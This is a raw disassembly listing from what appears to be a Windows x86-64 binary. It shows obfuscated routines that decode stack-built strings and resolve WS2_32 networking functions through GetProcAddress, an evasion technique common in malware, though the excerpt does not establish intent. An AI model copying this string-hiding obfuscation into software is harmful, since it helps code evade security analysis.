lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140064a4c
add r9b, 0x12
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x7e
jmp 0x140064cd4
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140064a74
lea edx, [r9 + 0x48]
movzx eax, dl
and al, r10b
mov ecx, 4
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140064b74
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x140064a9d
sub r9b, 0x4c
movzx eax, r9b
and al, r10b
mov ecx, 0xa
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x140064ca6
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x140064ac1
lea ecx, [r9 - 0x16]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x66
jmp 0x140064c82
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x1400645f5
add r9b, 0x20
movzx eax, r10b
and al, r9b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r9b
dec r11
inc r11
jmp 0x140064173
lea edx, [r9 - 8]
movzx eax, r10b
and al, dl
movzx ecx, r10b
sub cl, al
add cl, 0x1c
lea edi, [rcx + rcx]
jmp 0x140064c7f
lea edx, [r9 + 0x2e]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, r10b
sub dil, 0x42
jmp 0x140064b71
add r9b, 0x1d
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
add dil, 0x35
movzx eax, byte [rbp + r11 + 0x80]
add rax, r8
add r11, rax
inc r11
jmp 0x140064173
lea edx, [r9 - 0x4f]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
add dil, 0x29
add dil, dl
add r9b, 0x49
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
inc r9b
add r9b, r10b
movzx eax, r9b
mov byte [rbp + r11 + 0x80], al
inc r8
add rax, r8
sub r11, rax
jmp 0x140064cd4
add r9b, 0x7b
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x5d
jmp 0x140064ca9
add r9b, 0x45
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
add dil, 0x1d
jmp 0x140064ca6
lea edx, [r9 + 0x6d]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
add dil, 5
jmp 0x140064c12
movzx r9d, r11b
lea edx, [r9 + 1]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 7
add dil, dl
sub r9b, 0x23
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
sub r9b, 0xb
add r9b, r10b
mov byte [rbp + r11 + 0x80], r9b
inc r8
dec r11
inc r11
jmp 0x140064173
lea ecx, [r11 - 0x6b]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edi, [rcx + r10]
sub dil, 0x13
dec r11
inc r11
jmp 0x140064173
movzx r9d, r11b
lea edx, [r9 + 0x5f]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
add dil, 0x67
add dil, dl
add r9b, 0x13
movzx eax, r9b
and al, r10b
add al, al
movzx ecx, dil
sub cl, al
add cl, 0x7b
add cl, r9b
add cl, r10b
mov byte [rbp + r11 + 0x80], cl
add rbx, r8
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
inc r11
jmp 0x140064173
lea rax, [r11 + r12]
and dl, al
add dl, dl
sub al, dl
lea edi, [r10 + rax]
add dil, 0x4f
lea edx, [r11 + 0x64]
movzx eax, dl
and al, r10b
mov ecx, 0x22
sub cl, al
add cl, cl
add cl, dl
add cl, r10b
mov byte [rbp + r11 + 0x80], cl
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r11, rax
movzx eax, byte [rbp + r11 + 0x80]
add rax, r8
add r11, rax
inc r11
jmp 0x140064173
lea rax, [r11 + r15]
and dl, al
add dl, dl
sub al, dl
lea edi, [r10 + rax]
sub dil, 0x37
movzx eax, byte [rbp + r11 + 0x80]
add rax, r8
add r11, rax
inc r11
jmp 0x140064173
add r9b, 7
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x31
jmp 0x140064170
sub r9b, 0x2f
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
add dil, 0x49
jmp 0x140064157
lea rdx, [rbp + 0x15752a4]
jmp 0x140064d97
lea rdx, [rbp + 0x40c2bf]
jmp 0x140064d97
lea rdx, [rbp + 0x80]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp - 0x80], rax
mov byte [rbp + 0xa0], 0xe7
mov byte [rbp + 0xa1], 0
mov byte [rbp + 0xa2], gethostname
mov byte [rbp + 0xa3], reloc.WS2_32.dll_recv
mov byte [rbp + 0xa4], 1
mov byte [rbp + 0xa5], 0x3b
mov byte [rbp + 0xa6], 0x3a
mov byte [rbp + 0xa7], 4
mov byte [rbp + 0xa8], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0xa9], 0x21
mov byte [rbp + 0xaa], 1
mov byte [rbp + 0xab], 1
mov byte [rbp + 0xac], 0x3b
mov byte [rbp + 0xad], 0xd0
mov byte [rbp + 0xae], 0x9e
xor eax, eax
mov dword [rbp + 0xaf], eax
mov byte [rbp + 0xb3], al
movabs r15, 0x2abf371b54fa681a
movabs r12, 0x80b8eff5fccda8ea
movabs r13, 0x803da551feef384e
movzx edi, byte [rbp + 0x410]
call fcn.140004c80
mov rbx, qword [rax]
call fcn.140004c90
mov r8, qword [rax]
xor r11d, r11d
cmp r11, 0x14
jae 0x1400659e3
movzx r10d, byte [rbp + r11 + 0xa0]
mov esi, r10d
nop dword [rax]
cmp rbx, r11
ja 0x1400659da
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x140064e9c
lea rcx, [r11 + r15]
mov rax, rcx
and rax, rsi
imul rdi, rax, 0xfffffffffffffffe
add rdi, rcx
add rdi, rsi
add dil, 0x4a
jmp 0x140064ee3
je 0x140065968
lea rax, [r8 + 2]
cmp rbx, rax
je 0x1400658d0
lea rax, [r8 + 3]
cmp rbx, rax
je 0x1400658a2
lea rax, [r8 + 6]
cmp rbx, rax
je 0x14006587d
lea rax, [r8 + 4]
cmp rbx, rax
je 0x140065859
lea rax, [r8 + 8]
cmp rbx, rax
je 0x14006580e
movzx r9d, r11b
cmp r8, r11
ja 0x1400659d1
lea rcx, [r8 + 9]
cmp rbx, rcx
jae 0x140064f15
lea edx, [r9 + 0x22]
movzx eax, dl
and al, r10b
mov ecx, 9
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140064f52
lea rax, [r8 + 1]
cmp rbx, rax
je 0x1400657f6
lea rax, [r8 + 3]
cmp rbx, rax
je 0x1400657d3
lea rax, [r8 + 4]
cmp rbx, rax
je 0x1400657b3
lea rax, [r8 + 6]
cmp rbx, rax
je 0x140065794
cmp rbx, rcx
je 0x140065762
lea rax, [r8 + rbx]
cmp rax, r11
jbe 0x1400654ba
nop
lea rax, [r8 + 4]
cmp rbx, rax
je 0x14006549f
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140065476
lea rax, [r8 + 0x2a]
cmp rbx, rax
je 0x140065453
lea rax, [r8 + 8]
cmp rbx, rax
je 0x140065438
lea rax, [r8 + 5]
cmp rbx, rax
je 0x140065415
lea rax, [r8 + 3]
cmp rbx, rax
je 0x1400653f8
lea rax, [r8 + 0x10]
cmp rbx, rax
je 0x1400653d9
lea rax, [r8 + 9]
cmp rbx, rax
je 0x1400653bc
lea rax, [r8 + 6]
cmp rbx, rax
je 0x14006538a
lea rax, [r8 + 0x40]
cmp rbx, rax
je 0x140064f60
lea rbx, [r8 + 0x28]
lea r8, [rbx + 0x20]
lea rax, [r8 + 0x10]
cmp rbx, rax
jb 0x1400659b4
lea rax, [r8 + 0x200]
cmp rbx, rax
jb 0x140065994
lea rax, [r8 + 0x64]
cmp rbx, rax
jb 0x140065143
lea rax, [r8 + 0x40]
cmp rbx, rax
jb 0x140065128
lea rax, [r8 + 0x1000]
cmp rbx, rax
jb 0x140065109
lea rcx, [r8 + 0x3e8]
cmp rbx, rcx
jb 0x140065341
lea rax, [r8 + 0x80]
cmp rbx, rax
jb 0x1400652f8
lea rax, [r8 + 0x41]
cmp rbx, rax
jb 0x1400652bb
lea rax, [r8 + 0x61]
cmp rbx, rax
jb 0x140065290
lea rax, [r8 + 0x400]
cmp rbx, rax
jb 0x140064f60
mov rbx, rcx
lea r8, [rcx + 1]
lea rax, [r8 + 0x2a]
cmp rcx, rax
ja 0x140065261
lea rax, [r8 + 0x41]
cmp rcx, rax
ja 0x140065244
lea rax, [r8 + 0x61]
cmp rcx, rax
ja 0x140065225
lea rax, [r8 + 3]
cmp rcx, rax
ja 0x140065208
lea rax, [r8 + 1]
cmp rcx, rax
ja 0x1400651e5
lea rax, [r8 + 0x5a]
cmp rcx, rax
ja 0x1400651ca
lea rax, [r8 + 6]
cmp rcx, rax
ja 0x1400651a4
lea rax, [r8 + 4]
cmp rcx, rax
ja 0x14006517e
lea rax, [r8 + 2]
cmp rcx, rax
ja 0x140065163
lea rax, [r8 + 0xa]
cmp rcx, rax
ja 0x140064f60
lea rbx, [r8 + 9]
lea r8, [rbx + 8]
jmp 0x140064f60
lea edx, [r9 + 0x1e]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_socket
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140064f52
lea ecx, [r9 - 0x16]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x66
jmp 0x140064ee7
sub r9b, 0x4a
movzx eax, r9b
and al, r10b
mov ecx, 3
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x140064e70
lea ecx, [r9 + 0x10]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x70
jmp 0x14006582c
sub r9b, 0x24
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 4
inc r8
dec r11
inc r11
jmp 0x140064e53
sub r9b, 0x58
movzx eax, r9b
and al, r10b
mov ecx, 0x34
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
dec r11
inc r11
jmp 0x140064e53
lea ecx, [r9 + 0x74]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x2c
jmp 0x14006571f
add r9b, 0x40
movzx eax, r9b
and al, r10b
mov ecx, 0x20
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
add rbx, r8
jmp 0x1400658b7
add r9b, 0xc
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x54
jmp 0x1400658b7
lea edx, [r9 - 0x28]
movzx eax, dl
and al, r10b
mov ecx, recv
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x1400658f5
sub r9b, 0x5c
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x7c
jmp 0x140065921
add r9b, 0x70
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x10
movzx eax, byte [rbp + r11 + 0xa0]
add rax, r8
add r11, rax
inc r11
jmp 0x140064e53
sub r9b, 0x12
movzx eax, r9b
and al, r10b
mov ecx, 0x3f
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
mov byte [rbp + r11 + 0xa0], dil
inc r11
jmp 0x140064e53
lea ecx, [r9 - 0x46]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x16
cmp r8, 0x400
jb 0x1400652ab
lea ecx, [r9 + 0x5c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
add cl, r10b
lea edi, [rcx*2 - 8]
jmp 0x14006582c
lea edx, [r9 - 0x7a]
movzx eax, dl
and al, r10b
mov ecx, 0x2b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
cmp rbx, 0x40
jae 0x140065706
lea rax, [r8 + 0x28]
cmp rbx, rax
jbe 0x14006562a
lea ecx, [r9 + 0x54]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x4c
jmp 0x1400652d1
lea ecx, [r9 + 0x52]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x3e
lea rax, [r8 + rbx]
cmp rax, 0x41
je 0x14006574c
lea rax, [r8 + 6]
cmp rbx, rax
jbe 0x140065593
lea ecx, [r9 + 0x32]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x5e
jmp 0x140065312
sub r9b, 0x34
movzx eax, r9b
and al, r10b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
movzx eax, byte [rbp + r11 + 0xa0]
add rax, r8
add r11, rax
inc r11
jmp 0x140064e53
sub r9b, 0x68
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x28
jmp 0x140065921
lea edx, [r9 + 0x64]
movzx eax, dl
and al, r10b
mov ecx, 0x22
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x1400658f5
add r9b, 0x30
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x50
jmp 0x1400658b7
sub r9b, 4
movzx eax, r9b
and al, r10b
mov ecx, select
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
add rbx, r8
jmp 0x1400658b7
lea ecx, [r9 - 0x38]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x78
jmp 0x14006571f
sub r9b, 0x6c
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0xc
dec r11
inc r11
jmp 0x140064e53
add r9b, 0x60
movzx eax, r9b
and al, r10b
mov ecx, 0x30
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
inc r8
dec r11
inc r11
jmp 0x140064e53
lea ecx, [r9 + 0x2c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x34
jmp 0x14006582c
lea rax, [r8 + 0x64]
cmp rbx, rax
jae 0x1400654e2
lea edx, [r9 + 0x1a]
movzx eax, dl
and al, r10b
mov ecx, 0x25
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140065357
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14006551d
add r9b, 0x44
movzx eax, r9b
and al, r10b
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
movzx eax, byte [rbp + r11 + 0xa0]
add rax, r8
add r11, rax
inc r11
jmp 0x140064e53
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140065543
add r9b, 0x78
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x48
jmp 0x140065921
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14006556b
lea edx, [r9 + 0x48]
movzx eax, dl
and al, r10b
mov ecx, 4
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14006571f
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x140065357
lea ecx, [r9 - 0x1c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x3c
jmp 0x14006582c
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x1400655aa
lea edx, [r9 + 0x66]
mov ecx, 0x1b
jmp 0x14006581b
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x1400655d9
sub r9b, 0x32
movzx eax, r9b
and al, r10b
mov ecx, 0x2f
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
dec r11
inc r11
jmp 0x140064e53
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x140065602
add r9b, 0x6a
movzx eax, r9b
and al, r10b
mov ecx, reloc.WS2_32.dll_listen
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x1400658b7
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140065312
lea ecx, [r9 - 0x62]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x52
jmp 0x1400658f5
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140065665
sub r9b, 0x78
movzx eax, r9b
and al, r10b
mov ecx, 0x24
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
movzx eax, byte [rbp + r11 + 0xa0]
add rax, r8
add r11, rax
inc r11
jmp 0x140064e53
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14006568d
lea edx, [r9 - 0x10]
movzx eax, dl
and al, r10b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x1400658f5
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x1400656b2
lea edx, [r9 - 0x74]
movzx eax, dl
and al, r10b
mov ecx, socket
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14006571f
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x1400656de
sub r9b, 0x40
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x40
dec r11
inc r11
jmp 0x140064e53
lea rax, [r8 + 8]
cmp rbx, rax
jne 0x1400652d1
lea ecx, [r9 + 0x28]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x18
jmp 0x14006582c
lea edx, [r9 - 0x70]
movzx eax, dl
and al, r10b
movzx ecx, r10b
sub cl, al
add cl, 8
lea edi, [rcx + rcx]
add dil, dl
sub r9b, 0x56
movzx eax, r10b
and al, r9b
mov ecx, 0x2d
sub cl, al
add cl, cl
add cl, r10b
add cl, r9b
add cl, dil
mov byte [rbp + r11 + 0xa0], cl
add rbx, r8
jmp 0x1400658b7
lea ecx, [r9 - 0x3c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [rcx - 0x5c]
jmp 0x1400658f5
sub r9b, 0xa
movzx eax, r9b
and al, r10b
mov ecx, 0x23
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
movzx eax, byte [rbp + r11 + 0xa0]
add rax, r8
add r11, rax
inc r11
jmp 0x140064e53
lea edx, [r9 - 0x72]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_ntohs
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x1400658f5
add r9b, 0x26
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0xa
add rbx, r8
jmp 0x1400658b7
sub r9b, 0x42
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x32
dec r11
inc r11
jmp 0x140064e53
lea ecx, [r9 + 0x56]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x5a
jmp 0x14006582c
movzx r9d, r11b
lea edx, [r9 - 0x12]
mov ecx, 0x3f
movzx eax, dl
and al, r10b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
add r9b, 0x76
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
sub r10b, 0x3a
add r10b, r9b
mov byte [rbp + r11 + 0xa0], r10b
inc r8
dec r11
inc r11
jmp 0x140064e53
lea ecx, [r11 - 0x46]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x16
inc r8
dec r11
inc r11
jmp 0x140064e53
lea edx, [r11 - 0x7a]
movzx eax, dl
and al, r10b
mov ecx, 0x2b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
dec r11
inc r11
jmp 0x140064e53
lea rax, [r11 + r12]
and sil, al
add sil, sil
sub r10b, sil
lea edi, [rax + r10]
sub dil, 0x66
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
inc r11
jmp 0x140064e53
movabs rcx, 0x2b3a81bf52d8d8b6
add rcx, r11
and sil, cl
mov eax, 3
sub al, sil
lea edi, [rax + rax]
add dil, r10b
add dil, cl
movzx r9d, r11b
sub r9b, 0x22
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
sub r9b, 0x12
add r9b, r10b
movzx eax, r9b
mov byte [rbp + r11 + 0xa0], al
inc r8
add rax, r8
sub r11, rax
lea edx, [r11 - 8]
movzx eax, dl
and al, r10b
mov ecx, 0x1c
sub cl, al
add cl, cl
add cl, dl
add cl, r10b
mov byte [rbp + r11 + 0xa0], cl
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r11, rax
movzx eax, byte [rbp + r11 + 0xa0]
add rax, r8
add r11, rax
inc r11
jmp 0x140064e53
lea rax, [r11 + r13]
and sil, al
add sil, sil
sub r10b, sil
lea edi, [rax + r10]
sub dil, 0x22
movzx eax, byte [rbp + r11 + 0xa0]
add rax, r8
add r11, rax
inc r11
jmp 0x140064e53
sub r9b, 0x7e
movzx eax, r9b
and al, r10b
mov ecx, reloc.WS2_32.dll_gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x140064e50
add r9b, 0x4e
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x22
jmp 0x140064e40
lea rdx, [rbp + 0x17df218]
jmp 0x1400659ea
lea rdx, [rbp + 0xf85a32]
jmp 0x1400659ea
lea rdx, [rbp + 0xa0]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp - 0x78], rax
mov byte [rbp + 0x270], 0xfa
mov byte [rbp + 0x271], 0xe8
mov byte [rbp + 0x272], 0x19
mov byte [rbp + 0x273], 0x1a
mov byte [rbp + 0x274], reloc.WS2_32.dll_socket
mov byte [rbp + 0x275], reloc.WS2_32.dll_setsockopt
mov byte [rbp + 0x276], 0xe3
mov byte [rbp + 0x277], reloc.WS2_32.dll_recvfrom
mov byte [rbp + 0x278], 0xc3
mov byte [rbp + 0x279], 0x19
mov byte [rbp + 0x27a], 0xdb
mov byte [rbp + 0x27b], 0x2c
mov byte [rbp + 0x27c], 0x2f
mov byte [rbp + 0x27d], 0xfc
mov byte [rbp + 0x27e], gethostname
mov byte [rbp + 0x27f], 0xfe
mov byte [rbp + 0x280], 0xbc
xorps xmm0, xmm0
movups xmmword [rbp + 0x281], xmm0
movabs r15, 0x63c600882f207e16
movabs r13, 0xba6a03b949e3729a
movabs r12, 0x2b5201988d617a42
movzx edi, byte [rbp + 0x410]
nop dword [rax]
call fcn.140004c80
mov rbx, qword [rax]
call fcn.140004c90
mov r8, qword [rax]
xor esi, esi
cmp rsi, 0x21
jae 0x140066521
movzx r11d, byte [rbp + rsi + 0x270]
mov r10d, r11d
nop dword [rax + rax]
cmp rbx, rsi
ja 0x140066518
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x140065afc
lea rcx, [rsi + r15]
mov rax, r10
and rax, rcx
imul rdi, rax, 0xfffffffffffffffe
add rdi, r10
add rdi, rcx
add dil, 0x66
jmp 0x140065b36
je 0x1400664a4
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140066419
lea rax, [r8 + 4]
cmp rbx, rax
je 0x1400663e4
lea rax, [r8 + 3]
cmp rbx, rax
je 0x1400663a2
lea rax, [r8 + 7]
cmp rbx, rax
je 0x140066382
movzx r9d, sil
nop word [rax + rax]
cmp r8, rsi
ja 0x14006650f
lea rax, [r8 + 0x42]
cmp rbx, rax
jae 0x140065b6e
lea edx, [r9 - 0x32]
movzx eax, dl
and al, r11b
mov ecx, 0x2f
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
jmp 0x140065ba2
lea rax, [r8 + 1]
cmp rbx, rax
je 0x140066339
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140066319
lea rax, [r8 + 4]
cmp rbx, rax
je 0x1400662fa
lea rax, [r8 + 6]
cmp rbx, rax
je 0x1400662cc
lea rax, [r8 + rbx]
cmp rax, rsi
jbe 0x140066018
nop
lea rax, [r8 + 0x42]
cmp rbx, rax
je 0x140065ffc
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140065fd6
lea rax, [r8 + 0x200]
cmp rbx, rax
je 0x140065fb0
lea rax, [r8 + 0x7a]
cmp rbx, rax
je 0x140065f91
lea rax, [r8 + 0x20]
cmp rbx, rax
je 0x140065f71
lea rax, [r8 + 0x2a]
cmp rbx, rax
je 0x140065f54
lea rax, [r8 + 0x400]
cmp rbx, rax
je 0x140065f34
lea rax, [r8 + 9]
cmp rbx, rax
je 0x140065f03
lea rbx, [r8 + 0x28]
lea r8, [rbx + 0x20]
lea rax, [r8 + 1]
cmp rbx, rax
jb 0x1400664ef
lea rax, [r8 + 0x64]
cmp rbx, rax
jb 0x1400664d2
lea rax, [r8 + 4]
cmp rbx, rax
jb 0x140065d40
lea rax, [r8 + 0x3e8]
cmp rbx, rax
jb 0x140065d25
lea rax, [r8 + 0x41]
cmp rbx, rax
jb 0x140065d06
lea rax, [r8 + 0x28]
cmp rbx, rax
jb 0x140065e47
lea rax, [r8 + 0x1000]
cmp rbx, rax
jb 0x140065e1f
lea rax, [r8 + 0xa]
cmp rbx, rax
jb 0x140065bb0
lea rbx, [r8 + 9]
lea r8, [rbx + 0x41]
lea rax, [r8 + 0x40]
cmp rbx, rax
ja 0x140065df1
lea rax, [r8 + 2]
cmp rbx, rax
ja 0x140065dd1
lea rax, [r8 + 0x80]
cmp rbx, rax
ja 0x140065db2
lea rax, [r8 + 5]
cmp rbx, rax
ja 0x140065d95
lea rax, [r8 + 0x10]
cmp rbx, rax
ja 0x140065d78
lea rax, [r8 + 0x5a]
cmp rbx, rax
ja 0x140065d5d
lea rax, [r8 + 0x61]
cmp rbx, rax
ja 0x140065bb0
lea rbx, [r8 + 0x1000]
lea r8, [rbx + 0x10]
jmp 0x140065bb0
lea edx, [r9 - 0xe]
movzx eax, dl
and al, r11b
mov ecx, 0x31
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
jmp 0x140065ba2
lea ecx, [r9 - 0x3a]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x6a
jmp 0x140065b40
sub r9b, 0x66
movzx eax, r9b
and al, r11b
add al, al
sub r9b, al
lea edi, [r11 + r9]
sub dil, 0x36
jmp 0x140065ad0
lea ecx, [r9 - 0x14]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x74
jmp 0x1400663c0
sub r9b, 0x40
movzx eax, r9b
and al, r11b
add al, al
sub r9b, al
lea edi, [r11 + r9]
sub dil, 0x40
jmp 0x1400663fd
sub r9b, 0x6c
movzx eax, r9b
and al, r11b
add al, al
sub r9b, al
lea edi, [r11 + r9]
sub dil, 0xc
jmp 0x140066400
lea edx, [r9 + 0x68]
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
jmp 0x140066435
add r9b, 0x3c
movzx eax, r9b
and al, r11b
mov ecx, 0x2e
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r11b
jmp 0x140066460
add r9b, 0x10
movzx eax, r9b
and al, r11b
add al, al
sub r9b, al
lea edi, [r11 + r9]
sub dil, 0x70
movzx eax, byte [rbp + rsi + 0x270]
add rax, r8
add rsi, rax
inc rsi
jmp 0x140065ab2
sub r9b, 0x5e
movzx eax, r9b
and al, r11b
add al, al
sub r9b, al
lea edi, [r11 + r9]
sub dil, 0x6e
mov byte [rbp + rsi + 0x270], dil
inc rsi
jmp 0x140065ab2
lea edx, [r9 + 0x1e]
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_socket
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
lea rax, [r8 + rbx]
cmp rax, 0xa
je 0x1400662b0
lea r10, [r8 + 1]
lea rax, [r8 + 9]
cmp rbx, rax
jbe 0x1400660f1
lea edx, [r9 + 0x3e]
movzx eax, r11b
and al, dl
mov ecx, 0x27
sub cl, al
lea edi, [rcx + rcx]
add dil, r11b
add dil, dl
lea rcx, [r8 + 2]
lea rdx, [r8 + 5]
cmp rbx, 5
jae 0x140066292
lea rax, [r8 + 0x1000]
cmp rbx, rax
jbe 0x1400661ae
lea edx, [r9 + 0xc]
movzx eax, r11b
and al, dl
add al, al
movzx edi, r11b
sub dil, al
sub dil, 0x54
add dil, dl
cmp r8, 0x200
jb 0x140065e37
lea edx, [r9 - 0x3c]
movzx eax, r11b
and al, dl
mov ecx, reloc.WS2_32.dll_select
sub cl, al
add cl, cl
add cl, r11b
add cl, dl
lea edi, [rcx + rcx]
jmp 0x140066353
sub r9b, 0x2c
movzx eax, r11b
and al, r9b
